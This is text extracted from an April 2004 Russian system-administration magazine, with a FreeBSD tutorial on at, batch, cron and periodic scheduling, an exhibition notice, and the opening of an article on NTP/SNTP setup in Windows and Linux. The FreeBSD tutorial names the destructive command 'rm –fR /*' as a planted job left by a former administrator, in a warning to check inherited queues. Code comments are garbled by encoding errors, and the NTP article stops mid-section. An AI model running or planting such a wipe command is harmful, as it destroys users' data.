7. eBusiness Russia (Электронный бизнес в России) –международная конференция, посвященная вопросамавтоматизации бизнес-процессов, развития электрон-ной коммерции, подбора ИТ-персонала.

Выставка IT-week остается ведущей международнойвыставкой информационных технологий в России и стра-нах СНГ. Это уникальное место для проведения перего-воров с первыми лицами сразу нескольких крупных фирм-поставщиков оборудования и решений. Практически всекрупные западные вендоры присутствуют на выставке не-посредственно или при посредстве своих российских парт-неров.

В соответствии с растущими потребностями рынка иувеличением числа участников экспозиция расширилаплощадь, которая в этом году составит 8 000 кв. м. В выс-тавках, которые пройдут в течение 4 дней, примут учас-тие 250 ведущих компаний отрасли из 25 стран мира.Ожидается, что число посетителей выставки превысит75 000 человек, включая руководителей верхнего и сред-него звена, технических специалистов и IT-администра-торов, из более 500 городов России и СНГ.

«IT Week 2004», 15-ая Международная Выставка Ин-формационных Технологий пройдет в «Экспоцентре» наКрасной Пресне в Москве с 26 по 29 апреля 2004 года.

УНИКАЛЬНЫЕ СОБЫТИЯНА КОМПЬЮТЕРНОМ РЫНКЕ

9№4(17), апрель 2004

Page 12: 017 Системный Администратор 04 2004

10

администрирование

РАБОТА ПО РАСПИСАНИЮВО FreeBSD

СЕРГЕЙ СУПРУНОВ

Page 13: 017 Системный Администратор 04 2004

11№4(17), апрель 2004

администрирование

Прежде всего рассмотрим утилиту, которая позволяет од-нократно выполнить ту или иную команду в заданное вре-мя. Это команда at, простейший синтаксис которой выг-лядит следующим образом:

Здесь time – время, когда задача должна быть выпол-нена. Перечень команд, составляющих задачу, считыва-ется со стандартного ввода (как правило, это ввод с кла-виатуры, завершаемый символом Ctrl-D). Например:

Этот ввод приведет к тому, что в 23:00 (сегодня, еслидело происходит утром, и завтра, если после обеда) пос-ледовательно будут выполнены команды who, last и df, иих вывод будет отправлен на электронный адрес пользо-вателя.

Команда предоставляет пользователю большую сво-боду в выборе формата времени:

Таким образом, существует возможность задать вре-мя как относительно момента подачи команды at, так иабсолютно. В последнем случае оно может быть дополне-но указанием конкретной даты, форматы записи которойне менее разнообразны.

Так, дата «12 февраля 2005 года» может быть записа-на одним из следующих способов: 12.02.2005, 12.02.05,12/02/2005, 12/02/05, Feb 12 2005… Также вместо конк-ретной даты можно использовать ключевое словоtomorrow, указывающее, что задание должно быть испол-нено в указанное время завтра. При необходимости ука-зать, что задание должно быть выполнено именно сегод-ня, можно использовать дополнение today. Естественно,при попытке задать уже прошедшее время вы получитесоответствующее сообщение об ошибке.

Кроме того, время может быть задано в форматеPOSIX, для чего следует использовать ключ –t:

По умолчанию команду at может выполнять только су-перпользователь root. Чтобы дать такое право другимпользователям, их следует перечислить в файле /var/at/

at.allow. Если файл at.allow в этой директории отсутству-ет, но есть файл at.deny, то команду at смогут запускатьвсе пользователи, кроме перечисленных в at.deny. Обра-тите внимание, что имена пользователей в этих файлахдолжны начинаться строго с первой позиции и обязатель-но завершаться символом перевода строки даже для пос-ледней строчки.

Из дополнительных опций команды at перечислим сле-дующие:! -f file – задает имя файла, содержимое которого будет

воспринято как задание. Если опция не указана, зада-ния считываются со стандартного ввода (до символаCtrl-D). Например:

В результате через 2 минуты будет выполнена после-довательность команд, перечисленных в файлеmyjobs. Команды в этом файле задаются по одной накаждой строке (так же, как и при вводе с клавиату-ры). Результат также будет направлен по электрон-ной почте.

! -m – заставляет отсылать письмо о выполнении зада-ния пользователю (без этой опции письмо отсылаетсятолько в том случае, если результат выполнения зада-ния отправляется на стандартный вывод).

! -q queue – позволяет поместить задание в указаннуюочередь, которая может быть задана одной буквой ла-тинского алфавита (a-z, A-Z). По умолчанию заданиепомещается в очередь «c» для at и в «E» для batch (см.далее). Помимо удобства работы с большим числомотложенных заданий, различные очереди позволяютуправлять приоритетом (nice) их выполнения – чемдальше буква, соответствующая очереди, находитсяот начала алфавита, тем большее значение nice, то естьменьший приоритет, получат задачи, стоящие в этойочереди. Очереди, обозначенные буквами верхнегорегистра, будут отрабатываться только в том случае,если загрузка системы позволяет это сделать (см. да-лее описание ключа –b (batch)), и после того, как бу-дут запущены задания из очередей, обозначенныхстрочными буквами.

! -l [-q queue] – выводит список заданий, находящихся вочереди. Можно использовать также псевдоним atq,выполняющий те же функции. Если команду atq вы-полняет суперпользователь, то выводятся все задания,находящиеся в очереди. Иначе – только задания, при-надлежащие текущему пользователю.

! -r job – удаляет указанное задание из очереди. Эта ко-манда также может быть вызвана с использованиемпсевдонима: atrm.

! -b – выполняет задание, если средняя загрузка систе-мы (посмотреть ее можно с помощью команды w илиtop, параметр load average) не превышает указанноезначение (по умолчанию 1.5; как его изменить – смот-рите далее в описании команды atrun). Batch – псевдо-ним для вызова at с данным ключом:

# at time

# at 11:00pmwholast �s �20df^D

Òàáëèöà 1

# at �t [[CC]YY]MMDDhhmm[.SS]// êîìàíäà âûïîëíèòñÿ 1 äåêàáðÿ ýòîãî ãîäà â 15:30# at �t 12011530

# at �f myjobs +2 minutes

# batch �f myjobs +2 minutes

Page 14: 017 Системный Администратор 04 2004

12

администрирование

Команда аналогична примеру, приведенному выше дляопции -f, но задание будет выполнено, когда средняязагрузка системы (load average) будет ниже 1.5. Так,если это условие будет истинно через 2 минуты, тозадание выполнится в указанное время. Иначе онобудет откладываться, пока загрузка не снизится дотребуемого значения.

С остальными параметрами можно ознакомиться настраницах справочного руководства «man at».

Для чего может понадобиться отложенное выполнениекоманд? Например, можно поставить на ночь (когда на-грузка меньше, а трафик дешевле) закачку большогофайла:

Здесь мы просто направляем на стандартный вводпрограммы at строку «fetch ftp://ftp.ru/pub/bigfile.avi»; дан-ная команда будет запущена в 2:00.

Далее, пусть с 1 января вступают в силу новые тари-фы на услуги, оказываемые вашей компанией, и вы хоти-те, чтобы информация о них на вашем сайте всегда былаактуальна (пусть она находится в файле /usr/local/www/data/tariffs.html). Чтобы не встречать Новый год наедине ссервером, создайте файл tariffs.html с новой информаци-ей и разместите его, скажем, в /home/myhome/temp. Те-перь задача обновления ровно в полночь будет решатьсятак:

Можно запустить сборку системы из исходных текстов,когда нагрузка на систему будет меньше 1.5 (процесс этотресурсоемкий, но не срочный):

В предыдущем примере стандартный вывод будет пе-ренаправлен в log-файл, а сообщения об ошибках посту-пят на электронный адрес пользователя, запустившегокоманду. В общем, полезных примеров можно привестимассу.

Еще небольшой совет – вступая во владение новымсервером, проверьте, какие команды у него в очереди. Ато вдруг предыдущий администратор, уволенный за не-умеренное потребление спиртного, оставил вам «сюрп-риз» в виде «rm –fR /*», запланированный на запуск че-рез пару месяцев?

Теперь несколько подробнее рассмотрим механизм,обеспечивающий работу команды at. Когда с ее помощьюформируется отложенное задание, в папке /var/at/jobs со-здается файл сценария, содержащий переменные окру-жения (какими они были на момент формирования зада-ния; при выполнении задания эти переменные будут вос-становлены) и собственно команды, которые должны быть

выполнены. Периодически (по умолчанию – каждые 5минут) запускается процесс atrun, выполняющий все за-дания, срок выполнения которых истек. Таким образом,говоря ранее, что «задание будет выполнено через 2 ми-нуты», я был не совсем точен. На самом деле задания вы-полняются с точностью в 5 минут (как это можно изме-нить – читайте ниже). Процесс atrun может быть выпол-нен с двумя ключами:

Ключ –l задает максимальное значение средней заг-рузки системы, при котором могут быть выполнены за-дания, сформированные командой at –b (batch). Нужнозаметить, что если в очереди имеется несколько batch-заданий, то при снижении загрузки до допустимого уров-ня будет запущено только одно (имеющее более раннеевремя исполнения). Последующие будут запускаться навыполнение также по одному при каждом следующем вы-зове atrun, если средняя загрузка системы все еще бу-дет позволять сделать это. По умолчанию значениеaverage равно 1.5. Ключ –d включает режим отладки (всесообщения об ошибках поступают на стандартный вы-вод, а не в системные файлы протоколов через меха-низм syslog).

После выполнения задания с соответствующего фай-ла сценария снимается признак исполнимости (x), а приследующем вызове процесса atrun он удаляется из /var/at/jobs. Просмотреть выполненные, но еще не удаленныезадания с указанием времени, когда они были выполне-ны, позволяет команда atq –v (для at с ключом –l ключ –vигнорируется).

Периодический запуск процесса atrun обеспечиваетсядругим механизмом UNIX-систем – cron. О нем и пойдетречь далее.

Демон cron запускается автоматически при старте си-стемы (конкретно – сценарием /etc/rc.d/cron) и каждуюминуту проверяет файлы расписаний пользователей исистемный файл расписаний /etc/crontab на предмет на-личия заданий, которые должны быть выполнены в дан-ную минуту.

По умолчанию каждый пользователь может иметь свойфайл расписаний. Изменить это можно с помощью фай-лов /var/cron/allow и /var/cron/deny (так же, как и для ко-манды at: если файл allow существует, то использованиеcron будет разрешено только пользователям, перечислен-ным в нем). Файлы расписаний располагаются в /var/cron/tabs с именами, соответствующими имени пользователя.Для управления ими следует использовать утилиту crontab,синтаксис которой представлен ниже:

Опция –u позволяет работать с файлом расписанийуказанного пользователя user, а не текущего, как это про-исходит без данной опции. Если вы работаете через su,лучше всегда использовать этот ключ, чтобы избежатьразночтений. Ключ –l позволяет вывести на экран пользо-вательский файл расписаний, -r – удалить его, -e – редак-

# echo �fetch ftp://ftp.ru/pub/bigfile.avi� | at 0200

# at midnight Jan 01cp /home/myhome/temp/tariffs.html /usr/local/www/data/^D

# batchcd /usr/src// ìû æå íå õîòèì ïîëó÷èòü âñå ýòî ïî ïî÷òå?make buildworld > buildword.log^D

# atrun [-l average] [-d]

crontab [-u user] (-l | -r | -e)

Page 15: 017 Системный Администратор 04 2004

13№4(17), апрель 2004

администрирование

тировать. Для редактирования вызывается редактор, ука-занный в переменной окружения EDITOR или VISUAL.Формат строки задания в пользовательском файле сле-дующий:

То есть через пробельные символы (пробелы и симво-лы табуляции) указываются минута, час, день, месяц, деньнедели, когда должна быть выполнена команда, указан-ная в шестом поле. Допускаются перечисления (череззапятую: 1,3,5), интервалы (через дефис: 1-5), шаг (послесимвола «/»: 1-9/2 означает «1,3,5,7,9», то есть каждоевторое значение из указанного диапазона). Звездочка «*»означает все допустимые значения. Для месяца и дня не-дели можно использовать их сокращенные английскиеназвания (первые три буквы), например: Feb, JUN, tue, Fri(регистр значения не имеет). Диапазоны и перечислениядля имен недопустимы, то есть по имени можно обозна-чить только один месяц или день недели. Для числовогообозначения дней недели допустимыми являются числа0–7, где как 0, так и 7 обозначают воскресенье. Несколь-ко примеров:

Демон cron при каждой активизации проверяет датуизменения файла /etc/crontab и директории /var/cron/tabs.Если они изменились, то он перечитывает все измененияи учитывает их при последующих вызовах. Поскольку ути-лита crontab после редактирования файла заданий меня-ет дату изменения для папки /var/cron/tabs, то после того,как в пользовательский файл расписаний будут внесеныизменения, нет нужды в перезапуске процесса cron – этиизменения будут учтены при следующей активизации.Именно по этой причине для редактирования пользова-тельских файлов расписаний следует использовать коман-ду crontab –e, а не редактировать файлы непосредствен-но. Для файла /etc/crontab дата изменения проверяетсяотдельно, поэтому его можно изменять обычным редак-тором (естественно, для этого нужны права root).

Формат файла crontab также допускает вместо первыхпяти позиций, означающих время выполнения задания,использовать предопределенные значения:! @reboot (выполнять при загрузке операционной сис-

темы);! @yearly (выполнять ежегодно в полночь 1 января);! @monthly (выполнять ежемесячно в полночь 1 числа);! @weekly (выполнять в полночь каждый понедельник);! @daily (выполнять ежедневно в 0:00);! @hourly (выполнять в начале каждого часа).

Например:

Помимо собственно заданий, файл crontab может со-держать строки, задающие системные переменные, с ко-торыми задания будут отрабатываться. Так, можно задатьоболочку, в которой будут исполняться сценарии (пере-менная SHELL, по умолчанию это sh), переменную PATH.Если нужно, чтобы выводимая выполняемыми команда-ми информация пересылалась на почтовый ящик не вла-дельца файла расписаний (как это происходит по умол-чанию), а на другого пользователя, для этого можно ис-пользовать переменную MAILTO. Пустое значение(MAILTO=») приведет к тому, что сообщения будут пере-направляться в /dev/null.

Формат системного файла /etc/crontab несколько от-личается от пользовательского: на шестой позиции ука-зывается имя пользователя, с правами которого должназапускаться команда (и опционально – группа, отделен-ная от имени пользователя двоеточием, например,«root:wheel»), а сама команда отодвигается на седьмую.Например, вызов atrun задан в этом файле такой строкой:

Из этой записи видно, что процесс atrun, обеспечива-ющий отработку заданий, сформированных командой at,будет запускаться каждые 5 минут. При необходимостиповысить точность отработки заданий по at, следует со-ответствующим образом изменить приведенную вышестроку.

С использованием механизма cron выполняется и та-кая важная задача, как ротация log-файлов (см. строку,отвечающую за запуск newsyslog). По умолчанию процессnewsyslog запускается каждый час и проводит ротацию(архивирование и перезапись) log-файлов в соответствиис настройками в /etc/newsyslog.conf. На загруженных сис-темах с подробным протоколированием ротация можетпонадобиться чаще, чем раз в час, для чего следует из-менить соответствующую строку в /etc/crontab.

С механизмом cron связана еще одна полезная вещь –автоматическое обслуживание системы, обеспечиваемоес помощью periodic-сценариев. В системном crontab мож-но заметить следующие три строки:

Утилита periodic исполняет все сценарии, расположен-ные в папке, соответствующей параметру, переданномуей при вызове. Эта папка ищется в каталоге /etc/periodic.Например, запуск periodic daily приведет к выполнениювсех скриптов, расположенных в /etc/periodic/daily. Такжесуществует возможность создавать свои периоды обслу-живания, для чего должна быть создана новая директо-рия в /etc/periodic, в которую помещаются необходимыескрипты, и добавлена соответствующая строка запуска вcrontab. Настроить обслуживание системы под собствен-ные нужды можно в файле /etc/periodic.conf (по умолча-нию отсутствует). Настройки по умолчанию заданы в /etc/

Min Hour Day Month WDay Command

# Çàïóñêàòü ïðîãðàììó êàæäûé âòîðíèê â 12:000 12 * * 2 /usr/home/admin/checkmail# Âûïîëíÿòü çàäàíèå ÷åðåç äåíü â ÿíâàðå, ìàðòå è ñ ñåíòÿáðÿ# ïî äåêàáðü0 0 */2 1,3,9-12 * /usr/local/test/test# Çàïóñêàòü ñêðèïò 1-ãî è 15-ãî ÷èñëà êàæäîãî ìåñÿöà â 2:05,# à òàêæå ïî âîñêðåñåíüÿì (Day è WDay ðàáîòàþò â ðåæèìå «ÈËÈ»)5 2 1,15 * Sun /home/script

# Âûïîëíÿòü 1-ãî ÷èñëà êàæäîãî ìåñÿöà â 0:00@monthly /usr/local/billing/close_month.pl

*/5 * * * * root /usr/libexec/atrun

1 3 * * * root periodic daily15 4 * * 6 root periodic weekly30 5 1 * * root periodic monthly

Page 16: 017 Системный Администратор 04 2004

14

администрирование

defaults/periodic.conf. Как видно, эти сценарии выполняюточистку временных файлов, резервное копирование жиз-ненно важной информации, формируют отчеты о состоя-нии системы и т. д. Основная работа приходится на ежед-невное обслуживание (daily). Можно заметить, что в пап-ке /etc/periodic присутствует поддиректория security, хотяв crontab вызова для нее нет. Если поискать вниматель-но, то команду вызова «periodic security» можно найти вфайле /etc/periodic/daily/450.status.security, то есть сборсведений о состоянии безопасности выполняется в ходеежедневного обслуживания, но для удобства вынесен вотдельную поддиректорию, и по этой же причине отчетвысылается отдельным письмом.

Поскольку порядок исполнения сценариев определя-ется в результате сортировки их имен, для формирова-ния нужной последовательности исполнения служит трех-значное число, предваряющее имя почти каждого файла.

В директориях daily, weekly и monthly можно заметитьсценарии 999.local. Они позволяют запускать так называ-емые локальные periodic-сценарии, которые перечисля-ются в файлах /etc/daily.local, /etc/weekly.local и /etc/monthly.local соответственно. Использование локальныхсценариев для собственных нужд более предпочтитель-но, чем добавление скриптов в /etc/periodic, посколькупозволяет четко разделить системные и пользовательс-кие сценарии и тем самым упростить сопровождение иобновление системы.

Как и для остальных команд, выполняемых по cron,весь стандартный вывод будет перенаправлен на элект-ронный адрес пользователя – владельца таблицы crontabили указанного в переменной MAILTO.

Придумывать полезные примеры для cron труда несоставляет. Приведу два первых, пришедших в голову.Предположим, нам нужно контролировать состояние сети.Для этого достаточно занести в ваш пользовательскийфайл расписаний (системный файл лучше использоватьисключительно по системному назначению) строку:

Как это будет работать? В начале каждого часа будет

выполняться команда ping, посылающая десять пакетовна адрес вашего провайдера. Из возвращаемой инфор-мации будет выбрана последняя строка с результатами,которая будет записана в файл ping.log для последующе-го анализа таких величин, как среднее время передачипакета, величина девиации и т. д. Причем в файл будутзаноситься только результаты успешного пинга, а всеошибки (типа «Host is down») будут отправляться по элек-тронной почте владельцу файла расписаний.

Следующая строка позволит вам автоматически кор-ректировать ваши (точнее, системные) часы с использо-ванием сервера точного времени:

Естественно, вы можете использовать для полученияинформации о точном времени тот сервер, который Вамбольше нравится (список серверов можно получить, еслина любом поисковике подать запрос «Public ntp server»).

Еще несколько слов о путях к вызываемым програм-мам. Для сервиса at переменная PATH и каталог, в кото-ром задание будет выполняться, соответствуют тем зна-чениям, которые были на момент формирования задания.То есть если я запускаю at, находясь в директории /etc, тои задание будет выполняться так, как будто оно было за-пущено из этой же директории, и соответственно все от-носительные пути, имеющиеся в запускаемом сценарии,будут разрешаться относительно этого каталога. Cron ве-дет себя несколько иначе – он запускает задания из до-машнего каталога пользователя, а в качестве перемен-ной PATH использует то значение, которое задано в фай-ле расписаний (см. crontab –l) в переменной PATH. По умол-чанию PATH=/usr/bin:/bin. Проверить это достаточно про-сто – сформируйте задание с командами pwd и echo$PATH, и Вы получите письмо со значениями этих пара-метров на момент выполнения задания.

На этом знакомство со службами выполнения заданийпо расписанию можно завершить. Как обычно, дополни-тельную информацию можно получить на страницах спра-вочного руководства man: at(1), atrun(8), cron(8), crontab(1),crontab(5), periodic(8), periodic.conf(5).

0 * * * * /sbin/ping �ñ10 my.provider.ru | ↵↵↵↵↵/usr/bin/grep �avg� >> /var/log/ping.log

12 4 * * * /usr/sbin/ntpdate ntp.alaska.edu

Page 17: 017 Системный Администратор 04 2004
Page 18: 017 Системный Администратор 04 2004

16

администрирование

Зачем нужно точное время?А кому вообще нужно это точное время? Конечно, ононужно нам, пользователям, для того, чтобы мы меньшеопаздывали. Представим себе современный аэропорт –для его работы сотни пилотов и диспетчеров должныпользоваться безошибочно идущими часами. Система ре-гистрации товаров на складах, больничные учреждения,кассы по продаже железнодорожных билетов и многиедругие учреждения требуют, чтобы время на всех объек-тах системы в той или иной степени было одинаково. Темболее компьютеры. На них работает масса служб и про-грамм, для нормальной работы которых необходимо точ-ное время, причем, как правило, более точное, чем этообычно нужно нам, людям. Системные службы, компонен-ты системы безопасности, да и просто прикладные про-граммы могут быть очень критичны к точности часов. Наи-более ярким примером таких служб является протокол

NTP – АТОМНЫЕ ЧАСЫНА КАЖДОМ СТОЛЕ

МИХАИЛ ПЛАТОВ

Каждый из нас, работая за компьютером, иногда смотрит на часы. При этом кто-то поглядываетна стену, кто-то на руку, а кто-то бросает беглый взгляд в угол экрана монитора. Конечно, часымогут быть разными, главное – чтобы они шли точно. И если для обычных часов их точностьво многом определяется фирмой-производителем, то практически для любых «компьютерных»высокая точность может быть достигнута благодаря синхронизации времени, например,с помощью протокола NTP (Network Time Protocol), об использовании которого и пойдет речьв данной статье.

аутентификации Kerberos. Так, для его работы необходи-мо, чтобы на компьютерах, доступ к которым осуществ-ляется с использованием этого протокола, системное вре-мя различалось не более чем на 5 минут. Кроме того, точ-ное время на всех компьютерах значительно облегчаетанализ журналов безопасности при расследовании инци-дентов в локальной сети.

Протокол NTPNTP (Network Time Protocol) – это протокол, предназна-ченный для синхронизации времени в сети. Он представ-ляет собой набор достаточно сложных алгоритмов, при-званных обеспечить высокую точность (до нескольких мик-росекунд) и отказоустойчивость системы синхронизациивремени. Так, протокол предполагает одновременную син-хронизацию с несколькими серверами.

Существует несколько версий этого протокола, имею-

Page 19: 017 Системный Администратор 04 2004

17№4(17), апрель 2004

администрирование

NTP и WindowsДля синхронизации времени в ОС Windows 2000/XP/2003используется протокол SNTP. Поддержка этого протоко-ла реализована в виде системной службы Windows Time,входящей в состав операционной системы MS Windows2000/XP/2003. Отличительной особенностью этой реали-зации является то, что служба Windows Time поддержи-вает доменную аутентификацию при обращении к эталон-ному серверу времени, что является немаловажным с точ-ки зрения безопасности.

Существует несколько вариантов работы службыSNTP, входящей в Windows:! Иерархическая (NT5DS). Используется по умолчанию

для всех компьютеров, объединенных в домен. Синх-ронизация времени на рабочих станциях и серверахдомена производится по иерархии. Таким образом, ра-бочие станции и рядовые серверы синхронизируютсяс контроллером домена, аутентифицировавшим вход,контроллеры домена – с хозяином операции «эмуля-тор PDC», который в свою очередь синхронизируетсяс контроллером домена, стоящим на более высокомуровне иерархии. Следует заметить, что данный поря-док синхронизации используется «по умолчанию» иможет быть переопределен вручную или с использо-ванием групповых политик. О том, как это сделать,будет рассказано ниже.

! Принудительная синхронизация с выбранным NTP-сер-вером (NTP). В данном случае источник эталонноговремени для службы Windows Time устанавливаетсялибо вручную, либо с помощью групповых политик.

! Отключение синхронизации (NoSync). Этот режим не-обходим для смешанной схемы поддержания времени,в которой для синхронизации с внешним источником ис-пользуется продукт третьей фирмы, а для поддержаниявремени в рамках домена используется Windows Time.

Таким образом, в случае рабочей группы синхрониза-цию времени всё равно придется настраивать вручную.Например, один из компьютеров можно настроить на син-хронизацию с внешним сервером по протоколу SNTP, аостальные – на синхронизацию с ним. Необходимые дляэтого действия будут описаны ниже.

Для домена рекомендуется использовать иерархичес-кую синхронизацию по протоколу SNTP. В большинствеслучаев она обеспечивает приемлемую точность систем-ного времени в рамках леса домена. Кроме того, она авто-матически обеспечивает безопасность обновления време-ни, благодаря поддержке аутентификации с Active Directory.Для поддержки «правильного» времени в домене необхо-димо синхронизировать контроллер домена верхнего уров-ня, владеющий ролью «эмулятор PDC», с внешним NTP-сервером. В нашем примере в роли такого сервера будетвыступать Linux-машина с работающим демоном ntpd.

Настройка SNTP в WindowsДля настройки службы Windows Time используются двеутилиты:! Net time! W32tm

щих некоторые отличия. Третья версия этого протокола в1992 году была стандартизирована как RFC 1305. Четвер-тая (последняя на данный момент) версия привносит не-которые улучшения (автоматическая конфигурация иаутентификация, улучшение алгоритмов синхронизации)по сравнению с третьей, однако она еще не стандартизо-вана в RFC.

Кроме того, помимо протокола NTP, существует про-токол SNTP (Simple Network Time Protocol). На уровне па-кетов эти два протокола полностью совместимы. Основ-ным отличием между ними является то, что SNTP не име-ет сложных систем фильтрации и многоступенчатой кор-ректировки ошибок, имеющихся в NTP. Таким образом,SNTP является упрощенной и более легкой в реализацииверсией NTP. Он предназначен для использования в техсетях, где не требуется очень высокая точность времени, ив реализации от корпорации Microsoft обеспечивает точ-ность в пределах 20 секунд в рамках предприятия и не бо-лее 2 секунд в пределах одного сайта. Протокол SNTP стан-дартизован как RFC 1769 (версия 3) и RFC 2030 (версия 4).

Модель синхронизации NTP предполагает иерархи-ческую структуру. На первом уровне иерархии распола-гаются так называемые «первичные» серверы времени(First stratum). Они находятся в разных местах по всемумиру и располагают самым точным временем. Таких сер-веров относительно немного, так как точное время наних поддерживается с помощью дорогостоящего специ-ализированного оборудования (радиоканал, спутниковыйканал). Серверы второго уровня (Second stratum) синх-ронизируются с серверами первого уровня, используяпротокол NTP. Их уже значительно больше, однако ониуже несколько рассинхронизированы (от 1 до 20 милли-секунд) относительно «первичных» серверов. Далее мо-гут идти серверы третьего, четвертого и последующихуровней:

С переходом на каждый уровень немного возрастаетпогрешность относительно первичного сервера, но затоувеличивается общее число серверов и, следовательно,уменьшается их загрузка. Поэтому в качестве внешнегоисточника синхронизации вместо использования первич-ных серверов, обладающих наиболее точным временем,рекомендуется использовать вторичные серверы как ме-нее загруженные.

Page 20: 017 Системный Администратор 04 2004

18

администрирование

Net time используется главным образом для конфигу-рирования службы времени, а w32tm – для мониторинга идиагностики работы. Однако в Windows XP/2003 утилитаw32tm претерпела существенные изменения и может бытьиспользована для конфигурации службы времени. На-стройка NTP далее будет проводиться на примере WindowsXP/2003.

Итак, для того чтобы «вручную» указать источник син-хронизации с помощью net time, достаточно написать вкомандной строке:

Для получения информации о текущем сервере вре-мени:

Узнать время на контроллере домена можно так:

А синхронизировать время с контроллером домена воттак:

Системной утилитой w32tm можно сделать все то жесамое и даже больше:! w32tm /resync – при помощи этой команды можно зас-

тавить локальный или удаленный компьютер синхро-низировать показания своих системных часов с исполь-зуемым им сервером времени.

! w32tm /config – эта команда используется для конфи-гурирования службы Windows Time. С ее помощьюможно задать список используемых серверов време-ни и тип синхронизации (иерархическая или выбран-ная серверами).

Например, для того чтобы переопределить значенияпо умолчанию и настроить синхронизацию времени с вне-шним источником, можно воспользоваться командой:

А для того чтобы Windows Time применила новые на-стройки, вместо перезапуска службы можно использоватькоманду:

Кроме того, в w32tm доступны следующие параметры,связанные с мониторингом времени на компьютерах:! w32tm /monitor – при помощи этой опции можно узнать,

насколько системное время данного компьютера от-личается от времени на контроллере домена или дру-гих компьютерах.

! w32tm /stripchart – графически показывает разницу вовремени между текущим и удаленным компьютером.

! w32tm /register – регистрирует службу Windows Time вкачестве службы на данном компьютере. Эта опция мо-жет быть полезна на компьютерах, не входящих в до-мен, так как по умолчанию на них служба времени ос-тановлена.

Более подробные сведения о параметрах утилит nettime и w32tm можно получить, используя ключ /? или от-крыв соответствующий раздел справочной системы «Helpand Support Center» MS Windows XP/2003.

Нетрудно догадаться, что настройки службы WindowsTime хранятся в реестре Windows в разделе HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\.

В корне раздела определяются параметры работы самойслужбы, в подключе Config – настройки, связанные с рабо-той самого протокола SNTP, режим синхронизации опреде-ляется в подключе Parameters. Настройки SNTP клиента исервера находятся в подключах TimeProviders\NtpClient иTimeProviders\NtpServer соответственно. Рассмотрим ос-новные значения, определяющие настройку NTP клиен-та и сервера:! Type – определяет режим работы NTP-клиента (NTDS5 –

иерархическая, NTP – «вручную», NoSync – не синхрони-зировать, AllSync – доступны все типы синхронизации);

! Enabled – определяет, включен ли данный компонент(клиент или сервер);

! CrossSiteSyncFlags – определяет, можно ли синхрони-зировать время с источником, находящимся за преде-лами домена, в случае если используется иерархичес-кая синхронизация (0 – нельзя, 1 – только с эмулято-ром PDC, 2 – со всеми);

! EventLogFlags – определяет, будут ли сообщения отWindows Time заноситься в журнал или нет (очень по-лезная функция при отладке работы).

Объяснение значений, определяемых в ключе реест-ра для службы Windows Time можно найти на сайтеMicrosoft по адресу: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechnol/winxppro/maintain/xpmanaged/27_xpwts.asp.

Документация по протоколу NTP расположена на сай-те: http://www.ntp.org.

Другой вариант настройки службы времени WindowsTime – использование групповых политик. Настройки оп-ределяются в объекте групповой политики по следую-щему адресу: Computer Configuration →→→→→ AdministrativeTemplates →→→→→ System →→→→→ Windows Time Service

Если у вас установлен Windows 2000 Server и такой на-стройки вы не нашли – не отчаивайтесь, вам просто нужнообновить «Административные шаблоны». Для этого скопи-руйте из системной папки system32\GroupPolicy\Adm любоймашины с установленной Windows XP все .adm-файлы насервер, являющийся контроллером домена. Далее, опре-деляя объект групповой политики, нажмите правой кноп-кой на «Administrative templates» и выберите «Add/Removetemplates…» Удалите перечисленные там шаблоны и до-бавьте скопированные. После нажатия кнопки «OK» шаб-лоны будут обновлены, и вы сможете сконфигурироватьслужбу времени, используя групповые политики:

net time /setsntp:ñïèñîê_ñåðâåðîâ_âðåìåíè_÷åðåç_ïðîáåë

net time /querysntp

net time /domain:èìÿ_äîìåíà

net time /domain:èìÿ_äîìåíà /set

w32tm /config /syncfromflags:manual /manualpeerlist:PeerList

w32tm /config /update

Page 21: 017 Системный Администратор 04 2004

19№4(17), апрель 2004

администрирование

Нетрудно заметить, что здесь главным образом пере-числены все те настройки, которые можно изменять в ре-естре. Ничего удивительного в этом нет, ведь именно таки работает большинство групповых политик.

В ОС Windows XP появился еще один способ заданиясервера времени, который может быть очень удобен длянастройки синхронизации на домашнем компьютере иликомпьютере, входящем в рабочую группу:

NTP-сервер под Linux – внешняясинхронизация для Windows-доменаКак было сказано выше, протокол NTP более устойчив кошибкам, поэтому в качестве источника эталонного вре-

мени для внешней синхронизации лучше использоватьNTP-сервер. К тому же не всегда у контроллера доменаверхнего уровня есть доступ к Интернету по порту UDP 123,используемого для работы NTP. Доступ вполне может бытьзакрыт по соображениям безопасности, что являетсяобычной практикой крупных организаций. В таких случа-ях для решения этой проблемы можно установить в деми-литаризированной зоне – DMZ – свой сервер времени, на-строенный на синхронизацию с внешним источником, ииспользовать его в качестве эталонного источника вре-мени для синхронизации контроллера домена верхнегоуровня. В качестве такого компьютера вполне подойдетлюбая, не обязательно современная машина с *nix-подоб-ной ОС, например, Linux, установленной в минимальнойконфигурации, без X-сервера и других потенциально уяз-вимых вещей.

Существует масса программ для синхронизации вре-мени для ОС Linux. Наиболее известными являются Xntpd(NTP версия 3), ntpd (NTP версия 4), Crony и ClockSpeed.В нашем примере мы будем использовать ntp-сервер ntpd,входящий в состав Redhat 9, поставляемый в пакете ntp-4.1.2-0.rc1.2.i386.rpm.

В состав пакета входит несколько программ, предназ-наченных для работы с NTP.

Вот основные из них:! Ntpd – демон ntp, поддерживающий точное время в фо-

новом режиме;! Ntpq – утилита, предназначенная для опроса NTP-сер-

веров, поддерживающих стандартный протокол опро-са NTP mode 6. С ее помощью можно узнать и изме-нить текущее состояние сервера, если его настройкиэто позволяют;

! Ntptdc – утилита, при помощи которой можно опраши-вать демон ntpd и получать статистику его работы;

! Ntpdate – программа для установки текущего систем-ного времени с использованием протокола NTP.

Стандартной возможностью протокола NTP являетсявозможность проведения аутентификации. При этом мо-гут использоваться как симметричные алгоритмы (DES),появившиеся еще во второй версии протокола, так и не-симметричные алгоритмы, с открытым ключом, являющи-еся новшеством четвертой версии.

В случае использования симметричной схемы аутен-тификации клиент и сервер выбирают произвольный иден-тификатор и один из 65534 ключей, определенных стан-дартом. При использовании несимметричных алгоритмов,используется так называемая схема Autokey, отличитель-ной особенностью которой является отсутствие необхо-димости предварительно распределять открытые ключисерверов.

Для настройки аутентификации в ntpd существуют ути-литы ntp-genkeys, ntpq и ntpdc.

Вся функциональность NTP, связанная с поддержкойточного времени реализована в демоне ntpd. Его настрой-ка производится обычным для unix способом – путем ре-дактирования конфигурационного файла ntp.conf, находя-щегося в папке /etc.

Зададим следующие опции для работы NTP-сервера.

Page 22: 017 Системный Администратор 04 2004

20

администрирование

Сначала укажем серверы, с которыми будет произво-диться синхронизация времени:

